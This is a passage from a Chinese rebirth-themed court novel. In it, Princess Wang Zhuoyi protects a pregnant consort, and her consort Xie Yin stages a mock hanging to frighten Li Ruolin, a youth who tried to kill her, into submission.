王宪微怔,显然没想到谢洇会如此直接,谢洇倒是坦然地替王宪答道:“是臣所掌的度支一曹,还是臣与谢族?” “谢洇。” 王宪脖喉一哽,“你大胆!” 谢洇低头朝后退了一步,撩袍跪地,正要请罪,忽见吴盈匆忙地奔来,“驸马,出事儿了。” 谢洇侧面道:“放肆,太子殿下在此处,谁许你上来的。” 吴盈忙同谢洇一道跪下道:“是……是公主的事……” 王宪正因谢洇的态度下不来台,吴盈撞来,倒是给了他一阶,于是顺势摆手道:“罢了,既然是寿灵寻你,你就去吧,恰好替孤问她一句,西山赏雪她还去吗?若去,孤好遣良娣先过去安席伺候。” 说完举灯照路,独自去了。 谢洇待王宪走远,这才站起身问吴盈,“公主怎么了?” 吴盈忙道:“含朱来传话,说李若林将才在素居行刺殿下……” “你说什么?” 谢洇忙搀起吴盈,“公主如何?” 吴盈道:“殿下大安,请驸马放心,李若林已经被侍卫拿下了。” 谢洇听完便要往素居去,一面走一面问:“她要怎么处置李若林?” 吴盈知道他在担心李若林牵连他从前的妻女,忙跟上他道:“驸马您别着急,殿下没有下令杀人,反而让您亲自去处置,依小人看,这是给那李氏公子……留了余地的。” 谢洇听完这句话,这才慢下脚步。 二人背后,两盏引路宫灯移来,雪影里王卓仪已然换了一身衣裳,重新梳了发髻,带着含朱等人复往明月楼去。 谢洇回头看见了王卓仪,王卓仪倒也看见了谢洇,然而这一回破天荒地竟是她先闪避了谢洇的目光。 其实她的情绪已然平复,但思绪还是乱的。她明白,此时将李若林交给谢洇只是权宜之计,她终究还要再次面对那个想杀她的年轻疯子,光想着她就太阳穴疼,连带步子也越迈越快,转眼就上了三层楼,含珠几乎追不上她,只得在后唤道:“殿下,您刚拧伤了脚腕,可得仔细脚下啊……” 含朱的话音刚落,王卓仪前面就踉跄地撞来一人。 楼梯上灯火葳蕤,王卓仪还是一眼看清了那人是宋浓。 她不知为何也是步伐匆忙,愣是踩空了一级台阶。 跟来梯口的婢女流云惊叫道:“良娣!” 宋浓忙试图去抓栏杆,可她毕竟已有六个月的身孕,身子过重,虽是抓住了栏杆,却没能抓稳,一连扑踩四五级台阶,眼看就要跌滚下去。 “卓仪,你让开!” 宋浓知道,自己这一跌下去,必然伤及王卓仪,情急之下叫出了王卓仪的名字,也就是这一声“卓仪”,令王卓仪想起了上一世,王宪被废处死,太子府内眷和王宪的子女,尽数被赐毒酒,宋浓死前也是唤着她的名字,“卓仪,救我,卓仪你救救我。” 她最终没有救任何一个人。 那一世王卓仪就记着自己上辈子的惨了,那股劲儿,助她在如露如电的人生里,杀得自洽又自信。 她纵容自己对任何人为所欲为,因为世人千万,却只有她真正凄惨地死去过。因此她无法同情任何一个在她身攫利去过自己日子的人,无法原谅上辈子的任何一点背叛和漠视,在弥补自己的那一世里,除了爽感,王卓仪放弃了其他任何感知人情的路径。 所以再次见到宋浓、王宪、甚至谢洇这些人,王卓仪心如止水,甚至如无必要,她并不想和这些人再有交集。 可是就在她对一切人、物皆感到麻木而寡淡第三世,老天送了她一个似乎也只记得上辈子惨事的李若林。 人性两极的平衡突然被一声刺耳“去死”打破。而她不屑再回忆的两世记忆也悄然被这一声“去死”惊醒。虽然她依旧没有想清楚要如何面对和对待这一世的人和事,但此刻她却无法做到漠视眼前唤她名字的宋浓。 心头虽然万浪具翻,当下却只在一瞬。 “殿下!小心啊!” 含珠眼见来不及拉开王卓仪,只得冲王卓仪大喊,然而王卓仪没有动,她迅速将一只胳膊环扣住一根栏杆,另一只手竭力托住了宋浓的后腰,任凭宋浓整个人,直撞入了她的怀中。 她二人身量本就相仿,加上宋浓从高处坠落的冲力,单凭一只胳膊,王卓仪其实根本拖不住宋浓和她自己,剧烈的扯痛她令她不得松开 栏杆,她索性双手护着宋浓,将自己垫在宋浓身下,护着宋浓朝梯下,狠狠地跌滑而去。 “卓仪!” 木梯的边缘像刀一样“砍”着王卓仪的后背,她痛得完全无法回应宋浓,好在不过五六梯就到了转角之处,王卓仪的后背重重地撞在墙面上,砰地一声,总算是停了下来。 含珠流云等仆婢忙迎上去,各自搀扶自家的主人。 宋浓踉跄着站起身,她整个人被王卓仪护在怀里,只有胳膊磕出了一点淤伤,然而她顾不得查看,转头就要去搀王卓仪,却见王卓仪一只手扶着要背,脸色发白冷汗直冒,根本站不起来。 “宋浓你先别碰我……” 她说着下意识地看向宋浓的双腿,宋浓忙道:“殿下伤哪儿了?” 明月楼上的人都被这一幕给吓到了,纷纷挤到梯口,王宪几步下来,见王卓仪脸色苍白坐在地上,又见宋浓扶着婢女的手立在一旁,看上去到还没有大碍。 “怎么回事?”王宪斥问宋浓。 宋浓的婢女流云见宋浓惊魂未定,忙替她回道:“良娣没有走稳……” 王宪打断流云,“伤了公主是大罪,跪下。” 宋浓听了这句话,肩膀一颤,她抬头看向梯口,此时席上众人都聚了过来,归仁县主一时胆怯,毕竟宋浓是被她那一番话当众伤了体面,才仓促离席,以至于在梯上摔倒,她怕王宪查实后责怪她,不自觉地往母亲昌平长公主身后藏去。 宋浓明白作为东宫内人她不能当众违逆王宪的话,更不能纠缠解释,让王宪厌烦,于是丢开流云的手,扶着栏杆正要跪下,谁想膝盖才屈了半截,竟被一只手撑住了胳膊,王卓仪的声音从身后传来,越过她冲着王宪就砸了过去。 “她有身孕,跪什么?” 说完看了宋浓一眼,“站稳。”随后索性靠在墙上看向王宪道:“她侍奉你这么多年了,你还不知道她最怕什么吗?” 宋浓最怕什么?宋浓自己都不知道。 但和她相处了两世的王卓仪很清楚,宋浓有一心结,来自宋浓十六岁那年的西山雪猎,她因偷盗归仁县主的金钗,受过的一场鞭刑。归仁当众给她的几十鞭子打碎了她的衣衫,在她的后背上留下了无法愈合的伤痕。出于对她的可怜,王卓仪带她离了席,送她下西山。那一年,宋浓是洛阳贵女们的谈资,而她则在闺房内,将自己整整锁了一年。 宋浓本由旁枝过继,在家中并不得脸,这一年间她不出门,宋氏几乎忘记了还有宋浓这么一个人,王卓仪却能在每一个月初收到宋浓的奉礼。 绣品、糕点、清供花,每一样都精致而古雅。 萧后看着这些礼物,告诉王卓仪,宋浓是一个很聪明的姑娘。 起初王卓仪还不太懂萧后的意思,直到她时常下访宋家,寻宋浓作伴。宋家不得不把这个受辱后被丢在一边的女儿重新捡回来时,王卓仪才知道,宋浓视她为贵人,那些礼物也不仅仅出自感恩。 但王卓仪觉得,这也没什么。 既然宋浓记得王卓仪的恩,也拿她自己的岁月去报恩,那她就是一个值得王卓仪心疼的朋友。 于是,王卓仪牵起了她的手,带着她出入皇城,来往于洛阳豪宴之上。 又一年西山雪猎,王卓仪让宋浓坐在自己身边,太子王宪半醉间,偶然摸了她鬓间的簪花,从此她入东宫,孕皇嗣,求来了士族女最好的命。 第一世,王卓仪死太早了没有看到她的下场。 第二世她为了保住自己最好的命和王卓仪反目,白绫绕脖时,她告诉王卓仪,她所做的一切,只是想把那身在洛阳宫中被归仁打碎衣裳,好好穿回去,她不想受辱,她再也不想当众受辱了。 人就是这么奇怪,当你知道一个人的软肋,要么就是狠戳,要么就是保护,总之无法视而不见。 王卓仪下意识地做了选择,就算心惊,也无瑕细想了。 王宪对王卓仪的态度感到莫名其妙,大声道:“寿灵你不识好歹吗?孤在维护你!” “你维护你的内眷吧。” 王卓仪说着,终于拽着含朱的手挣扎着站了起来,“我自己没有走稳,险些连累了她和你的孩子,你还能逼着她向我请罪,你我兄妹成什么人了?” 她说完,伸手扶着腰艰难地转向宋浓道:“对不起,你回去传御医诊看,若胎儿有误,皇兄自会替你向我问罪。” 这一句话郑重地保护了宋浓,给全了她尊重。 宋浓错愕地望着王卓仪,王卓仪却抬头对归仁县主道:“归仁,你垮着脸做什么?” 归仁县主一愣,昌平长公主忙接道:“她将才闹着要去看山里看夜雪,本宫教训了她几句,她就不自在了,寿灵你不必理会她。” 王卓仪道:“我腰疼实在去不了,但也不能拂了大家替过寿的心,你们去吧,这会儿雪正好,上头的翼然亭里我备了锅子和野味,空放着寂寞。” 众人都听得出来,这是王卓仪的逐客令,纷纷下了辞礼,不再多留。 素居这一边,谢洇的目光穿过芙蕖海,见灯火如龙般朝着园门处汇去,知是楼上宴散了,方稍稍放松心神。 再低头,李若林像一滩烂泥一样伏在地上。 4.雪中聆旧(四) 侍卫将王卓仪的金簪交给谢洇,谢洇一眼就认出了那是他送给王卓仪的生辰礼,簪上攒花的是从东海运入洛阳最好的珍珠,王卓仪不喜欢,从没有戴过一次。但每逢节宴,她总会用宝匣将它装着,带在身边与人共赏,招摇着谢洇对她的殷勤。 “这是?” 侍卫看着脚边的李若林道:“是他行刺殿下的利器,他来时是搜过身的,恐怕要查一查,是谁帮他将此物带进素居的。” “查倒不必。谢洇摇头道:“这是殿下亲自收着的东西。” 侍卫疑惑,“驸马的意思是,这簪子是殿下给他的?这……” 谢洇蹙了眉心。 李若林还在抽搐,披头散发得像只蓬头鬼。 谢洇将簪子揣入怀中,弯腰强压着性子试图把李若林拽起来,“先给我起来。” 谁想李若林竟啐了他一口,谢洇闭眼愣是忍了下来,吴盈忙上前道:“要不让侍卫把他……” “没事。” 谢洇摆手道:“我人在这里,园门那儿难免不周到,昌平长公主怠慢不得,还得你亲自过去照看一二。” “是,奴这就去园门上。” 吴盈知道谢洇是在催他走,应声就退了下去。 看守李若林的侍卫知道这谢李二人从前的关系,体谅谢洇,也都识趣地退了几步。 谢洇索性在李若林面前蹲了下来,伸手拂开他脸上的乱发,乱发下露出了一双毫无光彩的眼睛。 “为什么要行刺公主?”他刚问出口,那双无光的眼睛瞳孔骤缩,原本如同烂泥般的李若林突然挣扎着直起了腰身,扯着沙哑的喉咙对谢洇喊道:“我要她去死!” “你怎么敢说这样的话,还不给我住口!” 李若林全然不理会谢洇的警告,继续哭喊道:“我就是要她去死!我恨死她了!恨死了!恨死了……” 谢洇一把捂住李若林的嘴,呵道:“你恨她做什么?你有什么资格恨她?你父母死了,你姐姐带着玉儿在萧惟春的军中根本活不过今年冬天,她喜欢你的皮囊是你和你姐姐的运,只有你打动了她的心,你……” “你恶心!” 李若林拼命撇开谢洇的手指,用这三个字硬生生地把谢洇的声音逼停,像看不见旁人一样,对着谢洇几乎嘶吼:“你谢洇想做王卓仪的狗,你做啊!为什么要把我也一起拉到她面前来?” “我……” “你把我送到这个地方,你知道王卓仪会怎么对我吗?你知道我以后会过什么样的日子吗?” 李若林狠锤心口,痛声道:“我会做人人不齿的奴隶!我会变成一滩烂泥!我会被她呼之即来挥之即去,她想虐待我,就可以把我打得没一块好皮!我会下十八层地狱会,生不如死,永世不得超生!” 谢洇看着痛苦的李若林,一时语滞。 他本是君子,为了妻女对李若林行出这样的事,早已自责七分,此时更愧,再没了呵斥李若林的心。 李若林顺势拽住谢洇的衣袖,扯得谢洇踉跄,谢洇试图稳住二人的身形,然而徒劳,被李若林扯拽得一齐跌坐在了地上。 “你为什么会说得这样绝望,也许殿下喜欢你,会对你好呢?我也会照看你,我……” 李若林的声音越发凄厉,“你不会!你根本管不了我,在这明月园,在素居,只有我一个人,日日不人不鬼,叫天天不应,叫地地不灵,没有人救得了我!没有人啊……” 他说得真绝望,听得谢洇也灰了心。他挣扎坐起,扶住李若林的肩,没有再斥责他,只轻声道:“对不起,我没资格,把善宁和玉儿的性命交给你去护,带你来这里,是我谢洇无耻……” 善宁。 李善宁。 李若林一怔,整整三日了,他所有心念都被滔天的恨意牵引,直到胞姐的名讳入耳,他才从被王卓仪白绫绞死的那阵痴痛里彻底醒过来。杀念暂隐,理智悄然复苏,李若林终于感受到了一直被仇恨压制在下的恐惧。 他竟然真的对王卓仪下手了,而且…… 他下意识地低头看着自己身上的绑绳…… 而且他还失败了。 “阿姐……” 建元四十三年初春,他的阿姐尚在陇西萧营。 上一世的这个时节,王卓仪将他留在了明月园,照顾她的饮起居,但他却一直没能得到王卓仪真正的宠爱。他和那些少年一样,孑然一身地入了园,守在王卓仪的身边,不断地请求王卓仪放了他的阿姐,而王卓仪像一块怎么也捂不热的铁一般,只是一味地奚落他,说他手脚粗糙,伺候得不好她不受用,尽管他已经照着谢洇的指教,对王卓仪做到了极致。 他原本也是学儒十载的世家子,做到这一步,他已经把自己逼得快死了。 可王卓仪就那样无情无义地受着他的侍奉,眼睁睁地看着李善宁抱着她和谢洇的女儿,死在了朝廷对李氏逆案的处决中。 “阿姐不能死,我……” 李若林满腔悔恨,抬头望向谢洇,却什么也说不出来,只断断续续地重复着一个“我’字。 “我……” 谢洇不忍,接过了他的话,“你我今日必须要处置,至于你阿姐和玉儿的事,我会再去求她。”说罢缓缓站起了身。 李若林切声道:“我今日……我今日会害死阿姐和玉儿吗?” 谢洇想起王卓仪刻意传给他的那句:“罪只在李若林一个人身上,我不牵连李氏一门。”不禁摇头,叹道:“我不知道,不过,只要你行刺的事不传扬在外,也许还不至于牵连李氏。” 李若林听完,双腿终是软了,整个人颓坐下来,“我错了姐夫……” “李若林,住口。” 谢洇沉了声,李若林忙改口:“不是,是驸马。” 他说着凄然地望向谢洇,“驸马,你能留我一条命吗?” 谢洇问道:“你还想活吗?” “想!” “即便生不如死你还想活吗?” 李若林一怔,几乎不敢说出“想活”二字,于是只轻声道:“我想救我阿姐。” “行,我试试。” 谢洇应下李若林,回头对侍卫道:“这罪人不能脏了殿下的素居,带走。” ** 东宫的车马缓缓行下了西山,明月园的灯火已远,宋浓还在回想明月楼上的那一幕,当时,她清晰得感觉到,为了保护她和她腹中的孩子,王卓仪几乎没顾她自己的性命,可是三日之前,王卓仪对她的态度,明明还十分冷漠。 她到底怎么了,为什么如此反复? 宋浓想着,下意识地摁住了小腹。 “怎么了?” 一只带着碧玉戒的手,随声按住了宋浓的手背,宋浓忙道:“回殿下,胎儿无事。” 安车上的帷幔随风拂动,王宪袖中的雀头香熏得宋浓有些晕眩。 “孤在问你,你这一路上,都在想什么?” “哦,妾在后悔自己莽撞,险些伤了殿下的子嗣。” “孤不止这一个子嗣。” 这话着实刺心,但宋浓只得抿唇忍受。 王宪续道:“在想寿灵的事?” “妾没有。”宋浓否认,王宪却笑了一声。 “宋浓,就替孤做了一件事,对寿灵你就有愧了吗?” 摇晃的安车中,宋浓稳住面色,温声道:“妾只是担心,妾挑的那些少年不得力,近不了寿灵的身, 更探不出殿下想要的……” “别用这些话来骗孤。” 王宪忽然使力,手指摩挲着宋浓的手背,“你不喜欢,大可不过这样的日子,孤不折磨你。以后,住到青宫的北苑去养胎,或者,回你的弘农宋氏。” 宋浓稍稍转动手腕,挣出一丝余地,应道:“这是殿下说的,不是妾说的。” 王宪听完这句话,这才缓缓移开了手,侧面挑帘,帷幕外的灯火照亮了他的半张脸,“你没这个念头就好。” 宋浓不肯看王宪,撇过头却又听他道:“虽然在寿灵身边插了几根钉子,但你闲时还是多去看看寿灵,对了,我怎么听说,她前几日不怎么待见你啊。” 宋浓忙道:“那都是外面混说的,没有这样的事。” “没有就好。” 王宪放下车帘,车内灯火阴沉。 “宋浓你是孤的第一个女人,孤与你大可把话说得明白些。” 宋浓忍着心上的难受闭上眼睛,等着王宪扎心的话刺来。 “你在宋家没有争上台面也说不上几句正经话,孤娶你,是因为寿灵她疼惜你,如果有一天她对你没了那份疼惜……” “那我就自请住到北苑去。” 宋浓实在不想听王宪那寡薄无情的话,开口打断了他的声音。 王宪看着她姣好的面容泛起愠色,只冷笑了一声。 宋浓掐捏着自己手指,指节不时作响。 车轮碾过雪地,倒是巧然掩住了那阵声响。 ** 明月园门外,吴盈送走了昌平长公主和归仁县主的安车,园中客也就散尽了,吴盈将收拾碗碟灯烛的人遣派妥当,忙又往明月楼去。他照顾王卓仪很多年,一向机敏,路上不忘遣人去问了一嘴谢洇和李若林的情形。 更打了三下,王卓仪人还在楼上,洛阳城为公主寿诞虽彻夜不禁,但西山处于城外,御医一时过不来,含朱只得暂时替王卓仪处理腰背上的皮外伤。这会儿刚止住血,王卓仪还皱着眉伏在凭几上喘息。 吴盈上前轻声回道:“殿下,客都送走了。” 王卓仪点了点头,抬眼环顾四下,见都是身边伺候的人,这才问道:“谢洇人呢?” 吴盈和含朱对视了一眼,方小心回道:“回殿下,驸马命人,将李若林吊死。” “……” 王卓仪喉咙一哽,竟没发出声来,含珠忙问道:“吊死?” 吴盈道:“是,驸马说,谋逆之人不能留命,今日园中新入了侍奉的人,必要杀一儆百,所以,要把那些人都带过去,看着李若林受死。” “他谢洇就不是这样的人。” 王卓仪脱口而出,身子险些倚空,含朱忙扶住她。 就在此时,楼下传来一阵人声,含朱朝楼下看时,见正是谢洇带着被捆得像粽子一样的李若林行经明月楼。 “殿下,是驸马。” 王卓仪一把扶住含朱的手,支撑起身子,慢慢地挪到明月楼边,放声道:“谢洇,你站着。” 谢洇站住脚步,抬头朝王卓仪望来,身后的那个人单衣蔽体,被侍卫押着,佝偻着腰,却也跟谢洇一道抬起头,朝王卓仪看来。 那眼底还是对她的恨。 天底下,可能真的只有王卓仪会对一个恨自己的人生出那么点可怜。 “你上来。”一时间王卓仪自己都不大分得清,这话是对谁说的。 “是。”回应他的人是谢洇。 应下她后,转身又对押着李若林的侍卫道:“照我将才的意思,把李若林带到铜镜台去处置,不必等我。” “谢洇!” 王卓仪忍无可忍,压着喉咙道:“别逼我扇你。” 5.雪中聆旧(五) 含朱在飞檐下悬起了一只灯笼,薰笼中焚着谢洇最喜欢的惠兰香草,但谢洇上楼来时,仍然闻到了一股浓郁的药膏气味。 他抬手掀帷,“殿下怎么了?” 王卓仪静静地看着楼外落下的风雪,含朱见她没有出声的意思,便回谢洇道:“回驸马,殿下在楼上摔伤了腰。” 谢洇听罢,不等王卓仪宣召,径直穿过帷幔,慎步走来,于玉簟旁单膝触地。 他并不在意王卓仪的冷漠,仍尽皇家婿的本分,挽起袖口伸出半截手,却又暮然停在王卓仪的腰边。 虽是夫妻,但那一直是是名义上的,王卓仪不喜欢他的身子,所以冒犯王卓仪的身体之前,他还是习惯先问一问她的意思。 “殿下准臣看一看吗。” 王卓仪忽地回头,一把将谢洇的手摁向玉簟上,秀眉一挑,不答反问,“杀人我不会吗?用得着你来替我?” 谢洇一窒,低头看向那只被王卓仪摁死的手,终是温顺而恭敬地回道:“请殿下训示。” 王卓仪活了加起来快六十年,谢洇是陪在她身边最久的一个男人,比李若林更久,夫妻之名,半师之实,不论怎么算,谢洇在王卓仪的人生当中都不是轻薄所在,过去王卓仪也一直在想,她为什么不喜欢这个从少年时起就照顾她的男人,明明他得体优雅,一点都不招人厌烦。 难道只是因为他没有一把细腰吗? 显然不是。 谢洇的确温良、克制,实则小心翼翼地藏着一份狡黠。 他不是没有情趣,他只是不想把这份情趣赠送给王卓仪。 换句话说,他是别人的男人,身心不干净,就这一样,他就不配碰王卓仪。 当然,他也很聪明,一向都知道和王卓仪相处的边界在哪里。 但眼下他为了保下李若林的性命,他一时摒去了那层温良克制的世家修养,向王卓仪挑起了他入邸后的第一次推拉博弈。 然而王卓仪笑不出来,她直视谢洇的眼睛,“你故意的吧。” “臣不明白殿下的意思。” “你决定把他当众吊死是故意的吧,谢洇,你什么时候有的这股狠性?” 谢洇拱手,平声回道:“行刺殿下是谋逆重罪,殿下仁慈,不牵连李氏,不连坐太子良娣,将他收在臣的治下处置,那就是要对他行家法。家法可以宽待,所以,臣留他全尸,臣哪里狠了?” 王卓仪又气又觉得好笑,看着谢洇的头顶道:你真的是这么理解我的话的?” 谢洇再拜,“若臣之所为触犯殿下,请殿下治罪。” 行,滴水不漏。 王卓仪松开谢洇的手腕,摁了摁前额,“我不满意你对李若林的这个处置。” “那臣就徇私留下他的性命,而后带着他一道,去向朝廷请罪。” 谢洇说完起身就要走,王卓仪恨不得真的扇他一巴掌。 “你去请罪,他和宋浓还能活?” 她语速提快,气息不稳,腰上顿时牵引出一阵酸痛,引她皱眉。 话说到这个程度,尽管王卓仪不甘心,也要摊牌了。 “你知道我舍不得杀李若林,对吧。” 谢洇还是那一番恭敬侍上的言辞,“臣不敢窥探殿下的心意。” “你杀他,不就是在试我的心意吗?” “臣不敢。” “不敢个头。”这一句话,王卓仪并没有宣之于口。 她发现她还是习惯不搭理谢洇这个人,所谓推拉博弈,有点意思,可她占不了上风也并不舒服。 她的心冷了下来,居高临下,对他施以威压,径直伸手抬起谢洇的下巴,谁想这个人竟撇开了头。 “你不想听我说话吗?” “殿下自重。” “你少跟我放肆。” 王卓仪仍然扣着谢洇的下巴,“你知道你下手杀他,我就必须要护他。你也知道,你把他推给朝廷,我就必须要把他留在身边。” 谢洇没有回答,王卓仪紧逼道:“你甚至知道,只有我亲自来救他,赦免他,他才会收起他的那副尖牙,对我服那么一分软。” 王卓仪说着,手着玉簟,忍着腰上的疼痛靠近谢洇,挑声道:“你想得这么明白,你就该知道,我把他交给你处置,就是我不想再看到他的人更不想管他的事。但你,” 王卓仪一顿,“你非要我和他好。” 谢洇没有否认,王卓仪却突然想捅一捅他这副一向得体的皮相。 极端活过两世的好处,在于她看全了所有人表相和本相,因此什么话都说得出口。 “可是为什么呢?”她问谢洇,“你不是我的夫君吗?怎么像个伢行,非要把李若林卖给我。” 谢洇忽然抬头,“臣只尊礼侍奉殿下,望殿下顺心如意。臣自认没有做错什么?殿下一定要当着奴婢的面,这样羞辱臣吗?” 一旁的含朱听到谢洇的话,忙行辞礼,掀开帷幕出去,带着楼中人退向楼下,就在她退走的脚步声中,谢洇看着卓仪再度开口,“没人的地方殿下想怎么样都可以,奴婢面前,别这样对待我。” 他改换了一直擒捏得很好的谦称,气息也不再稳定,像一块完整的玉器忽然被王卓仪磕出了一个豁口,而这个豁口独一无二,只和她这个伤器的人有关。 王卓仪上辈子玩过了金玉,也玩腻了权势,此刻发现这世上最好玩的东西,果然始终是人。 然而她为自己的透彻自信之余,又难免心惊于自身的残忍和恶毒。 要不要下手把玩这个人? 王卓仪看着谢洇微微起伏的胸口,想人始终是强则易折,刚则易断,越是君子秉性,越容易被砸碎,谢洇没有对不起过她,她好像也没必要做得这么绝。 于是终是垂下了手,决定暂时退回到谢洇自守的边界之外。 “你下去吧。李若林我留下,和宋浓送来的那些人安置在一处,你打点好明月园和我府内的人,不得将他行刺我的事外泄,尤其不能让太子知晓。” “是。” 谢洇起身,抬袖向王卓仪行礼,“臣替李若林,谢殿下恩典。” 说完,转身欲离。 身后的王卓仪忽又问道:“哦对了,宋浓送给我的人,现下放在什么地方?” 谢洇回身,向王卓仪说了一处地名。 “铜镜台。” 铜镜台原本是王卓仪留给谢洇在明月园中的居所,谢洇却辞而不受,带着贴身服侍他的两三仆婢住到了铜镜台前面的一处水阁。水阁临芙蕖海,以连廊和铜镜台相通。看形制,铜镜台倒像是水阁的通院。 谢洇这样安置宋浓送来的少年,竟似把自己放在了公主贤夫的位置上,既忍下羞辱,也不辞照顾这些少年的责任。 王卓仪除了想笑,实在无话可说。 “行了,去吧。” “是。” ** 另一边,吴盈提着灯亲自去园内四门查了一遍,关门落锁,人去席散的明月园,内顿时如一片沉寂的雪景图,细雪盈盈,万籁无声。 看着这般安稳的新园,吴盈只觉得心慌,就怕闹得不安生,毕竟今夜为了一个李若林,这园里的两个主人都不大对劲,想着赶忙询问出李若林的下落,匆匆往铜镜台赶。 再说李若林,他被带到铜镜台的时候,台下已为他备好了白绫。 百年乌桕高树,耸入漆黑的天空,白绫空悬枝上,树下立着那二十个与他一同入园的少年,他们听到门环扣动的 声音,纷纷回头朝李若林看来。 园中第一夜啊,园主人挑了他们中间最出挑的人来杀给他们看,面对乌桕与白绫共造的杀人场,少年们心思各异,唯有恐惧暗自共通。 李若林的目光越过众人的头顶,直飞向了那条高悬的白绫,雪里的风吹着它温柔的摇曳,像一段柔软的腰身,也像他掐之即断的命。 周遭静谧,刑场质朴雅致,与他死的那一日一样。 李若林不仅暗叹:王卓仪的审美还真是一如既往的极致。 然而他欣赏不来,他想吐,那种由胃底涌起的恶心,参杂血的腥臭和骨肉腐烂后的死气,令他猛地蹲了下去,抱着膝盖一口一口地干呕起来。 “送你过来的路上,下人已将殿下的恩典告诉你了吧。” 谢洇的声音从背后传来,如细针一样,扎进他的耳中。 李若林拼命忍住呕意,答了一声:“是……” 谢洇的声音继续,稳定、平和,听起来像在说着一件无关生死的闲事。 “你的命保住了,但我还是想带你来看看这个地方。” 李若林的肩膀不自觉地一颤,稍侧过头,向谢洇露出半张惶恐未定的脸,一时干呕未定,声音也是断断续续的。 “我已经……知道……知道怕了。” “怕?那不够。” 李若林一怔,不禁吞咽了一口,“那你还要我怎样?咳……咳咳……” 他再度干呕不止,谢洇的声音紧跟而来,“如果只是怕,那终有一天,你还会被挂那条白绫上。” 他说完低下头,“你冷静了吗?” 李若林用手指摁住胸口,连着吞咽了几口,“嗯”了一声。 又勉强声着声音,似是自语一般地问道:“到底…怎么才能不死……” 谢洇低下头,他同情李若林,但也不得不对着他将话说明白。 “你要做和我一样的事,她是君,你我本该怕她,但这份怕是为了让你在她面前侍奉时,不要出差错。除此之外,你还要做我做不到的事。” 李若林回过头,看着眼前潮湿的泥地,忽道:“你连妻女都能抛弃,还有什么事,是你做不到的吗?” “有的。” 谢洇笑叹,“我无法让她对我心软,只要是我的私事,我求她,她一样都不会答应。但你不一样,你不去求她,她都会自己想办法来饶恕你。李若林,在建元一朝,这是你最好的天赋。” 这话说完,李若林也想笑,“你懂个屁……” “我无意伤害你。”谢洇搀住李若林的胳膊,并不在意他的冒犯,“你将才说,来了这里你会永世不得超生,我觉得这话太灰心,也不至于。你看着这棵乌桕和白绫,仔细想一想我对你说的话,想想你之后的路该怎么走。对我来说,我希望你能为你姐姐,和我的女儿求一线生机,对你来说,你也得好好活着,过好你自己这一生。” 谢洇说完,恰好吴盈提灯匆匆赶过来,一眼就看见乌桕上的白绫,忙问道:“驸马,殿下这是要……” 谢洇摇了摇头,顺势吩咐他道:“去把白绫摘下来。” 吴盈疑惑发怔,一时没动,众少年闻言也是错愕。 谢洇走下石阶,走进众人之间,扬声道:“殿下仁慈,已经宽恕了李氏子的过错,但我不如殿下仁慈,对你们更不谈纵容。你们无论是因为什么沦为此身,眼下都不重要。既入园中,既要恪守为内仆的本分,也要继续为人的修行。除非你们死,否则你们与我谢洇的相处不在一时,从今日起,我会以待后辈之心对待你们,教养你们,这其间必有苛责之处,但玉琢而成器,此话,望诸君自勉,否则,” 谢洇说着,仰头看向乌桕间的白绫,“那就是你们的了局。” 6.雪中聆旧(六) 在少年们的错愕中,谢洇放下了这一番话,随即独自行穿细廊,回了水阁。 吴盈带人收走了那根让李若林颤栗的白绫,然而李若林却并没有因此而获得一场安稳的睡眠。 这一夜雪下得像粉一样,窗外偶有落鸟,细爪踩在雪粉上,发出窸窸窣窣的声音。 铜镜台的居室里,惊魂未定的少年们抵足而眠,床褥又干又冷,熏的是李若林最不喜欢的惠草香,那气味一阵一阵地往他鼻里刺,刺得他眼辣鼻酸。 上辈子他从来没住过铜镜台,也没受过这种苦。 王卓仪在明月楼下见他的第一面,就亲自把他带去了素居,随即单独给了他一间雪洞一般的居室,素面凭几、青丝隐囊、白玉屏风、寡色布障、绿菊清供……他至今仍然记得,那日大雪初霁风清日朗,王卓仪坐在晴窗下,亲自指点仆婢布置他那十米见方的小居。她兴致很高,一面调度着古朴的陈设,一面跟李若林讲解着当下洛阳城中,那些嶙峋而奇雅、讲究而无用的审美风潮。 后来,他又跟着王卓仪住过寿丘里公主府的谒室。 那时他过得太寂寞了,寂寞得已经不知道怎么去恨王卓仪了。 据吴盈说,谒室是王卓仪和谢洇行房的地方,毫无疑问,室内一屏一座,庭中一花一树,都是王卓仪的喜好,可李若林在里面断断续续地住了十年,只见谢洇偶尔前来洒扫,从未见王卓仪踏足过哪怕一次。 也好,至少王卓仪没有恶心他。 事实上,不管王卓仪后来怎么对待他,她送给李若林的这两处居所,皆宛如天宫。 而他的故乡是一个浸在黄沙和烈风里的地方,都说由俭入奢易,加上时光漫长,他果然渐渐地习惯那些所谓的洛阳风雅,抛弃学了十年的儒学,去认可王卓仪极端的起居审美,日日穿阔衣,夜夜披发,将无数绝世的美玉悬挂于身,在离王卓仪最近的地方,侥幸天生的美貌让他永远凌驾于所有仆从之上,始终过着锦衣玉食的日子。 他甚至开始期待王卓仪召见他,期待着也许有一天,王卓仪会要他的身子,他可以重见天日,在这个光华无双的女人身边借日生辉。 可这样的日子,他只能骗自己过那么几年。 王卓仪始终不碰他,更不肯单独见他。 但凡召他侍候起居,身边也总有那个君子端方,阴魂不散的谢洇。 她无视他的喜怒哀乐,彻底养废了他,然后又骂他不学无术,骂他性情乖张,最后开始冷落他,搁置他。 李若林在她看不见的地方发疯,哭闹着说要见她,她晾着他,又在他马上就要绝望的时候,松口让吴盈接他去她跟前。 而就算是这样,见他之前,她也会让吴盈给他传一句话。 “面见我时,收好你的眼泪,我看见你哭你就去死。” 她就是这么狠,好像他是一个和她耳鬓厮磨过很多年又被她厌倦了的旧人。 她感念那么一点“旧情”,又厌烦他曾经恃旧宠而骄。 可是,他哪里得到过宠爱?他根本触碰不到她,就连偶然一次起心,在青石下摸了摸她垂下的手指,都吃了她一记无情的耳光。 耳鬓厮磨?是上辈子的事吗? 好在李若林并不蠢。 虽然他始终看不懂王卓仪,但施加在他身上的折磨循环往复很多次后,他还是逐渐发觉,除了观赏他,王卓仪只想闷死他,就像主人想闷死一只渐渐有了年纪的海东青。世间生灵不可能一直年轻,总有一天要衰老,他也不例外。 岁月如翻书一般去而不返,年复一年,他终于长出了第一根白发,那时王卓仪问他:“熬够了吧?”他欣喜,以为青春半落,他终于被允许生出枝桠,然而王卓仪说:“你可以死了。” 可他到底做错什么了? 又为什么会被这么对待? 王卓仪说,一切都是因为他无聊,不会取悦她。 呵。 她放屁。 ** 